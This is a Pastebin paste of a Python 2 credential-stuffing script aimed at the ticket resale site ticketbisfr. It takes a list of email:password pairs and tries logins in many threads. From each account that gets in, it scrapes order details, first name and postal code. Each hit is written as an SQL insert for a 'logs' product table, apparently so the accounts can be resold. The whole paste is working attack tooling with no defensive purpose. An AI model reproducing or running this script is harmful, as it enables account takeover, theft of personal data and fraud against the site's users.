Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- import requests, sys, string, time, re, threading, os, BeautifulSoup
- global aFileSuccess
- global aData
- global threadc
- global state
- global i
- global ccup
- global csuccess
- threadc = 0
- state = 0
- i = 0
- ccup = 0
- csuccess = 0
- def CDISCOUNTCUPChecker(sUserMail,sUserPass):
- global threadc
- global ccup
- global csuccess
- threadc += 1
- sUserPass = sUserPass.replace('\n','').replace('\r','')
- print " [?] Checking %s (pass=%s) " % (sUserMail,sUserPass)
- oFileObj = open("state.txt",'w')
- oFileObj.write("Total checked : %s\nTotal success : %s\nTotal CUP : %s" % (state,csuccess,ccup))
- oFileObj.close()
- oRequest = requests.session()
- headers = {'Host':'secure.ticketbisfr.com','User-Agent': 'Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.0 Version/10.00','Connection':'keep-alive','Pragma':'no-cache'}
- oData = oRequest.post("https://secure.ticketbisfr.com/login/login",{"login":sUserMail,"password":sUserPass},headers=headers)
- if oData.text.encode("utf8").find('alert alert-error') == -1:
- if oData.text.encode("utf8").find("captcha") == -1:
- s = oData.text.encode("utf8")
- # Commande
- start = '<td data-label="Date">'
- end = '<'
- try:
- commande = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
- except:
- commande = "-"
- # Fin Commande
- # Event
- start = '<span class="nombre-evento">'
- end = '<'
- try:
- event = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
- except:
- event = "-"
- # Fin Event
- # Etat
- start = 'a="block">\n '
- end = '\n'
- try:
- etat = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
- except:
- etat = "-"
- # Fin Etat
- oData = oRequest.get("https://secure.ticketbisfr.com/miCuenta/infocuenta")
- s = oData.text.encode("utf8")
- #prenom
- start = ' <span>'
- end = '<'
- try:
- prenom = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
- except:
- prenom = "-"
- #prenom
- oData = oRequest.get("https://secure.ticketbisfr.com/miCuenta/direcciones")
- s = oData.text.encode("utf8")
- #CP
- start = 'l</label>\n <div class="controls">\n <span>\n '
- end = '\n'
- try:
- cp = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
- except:
- cp = "-"
- #CP
- csuccess += 1
- aFileSuccess.write("INSERT INTO produits values('0','logs','TICKETBIS','"+sUserMail+":"+sUserPass+"','','"+cp+"','"+commande+"/"+event+"/"+etat+"','','1','4','WolfAdmin','','0','1','2017-12-22 15:20:04','2017-12-22 15:20:04','2017-12-22 15:20:04','','','','','','','');\n")
- print " [%s:%s] OK !!\n" % (sUserMail,sUserPass)
- else:
- print " [%s:%s] CAPTCHA !!\n" % (sUserMail,sUserPass)
- else:
- print " [%s:%s] NOT OK !!\n" % (sUserMail,sUserPass)
- threadc -= 1
- def parseList(sFileList):
- aList = []
- try:
- with open(sFileList) as oFileList:
- aElement = oFileList.readlines()
- for sElement in aElement:
- if sElement.find(":") != -1:
- aList.append(sElement.replace("\n","").replace('\r', '').split(":"))
- except:
- return False
- return aList
- if len(sys.argv) == 1:
- print "Envoyer un fichier !!! "
- exit(0)
- iq = 0
- sList = sys.argv[1]
- aList = parseList(sList)
- bit = int(sys.argv[2])
- sFileSuccess = str(sList)+".success"
- aFileSuccess = open(sFileSuccess,"w")
- while i < len(aList):
- if threadc < bit :
- aData = aList[i]
- i += 1
- state += 1
- threading.Thread(target=CDISCOUNTCUPChecker, args=(aData[0],aData[1])).start()
- aFileSuccess.close()
- print "Finish"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement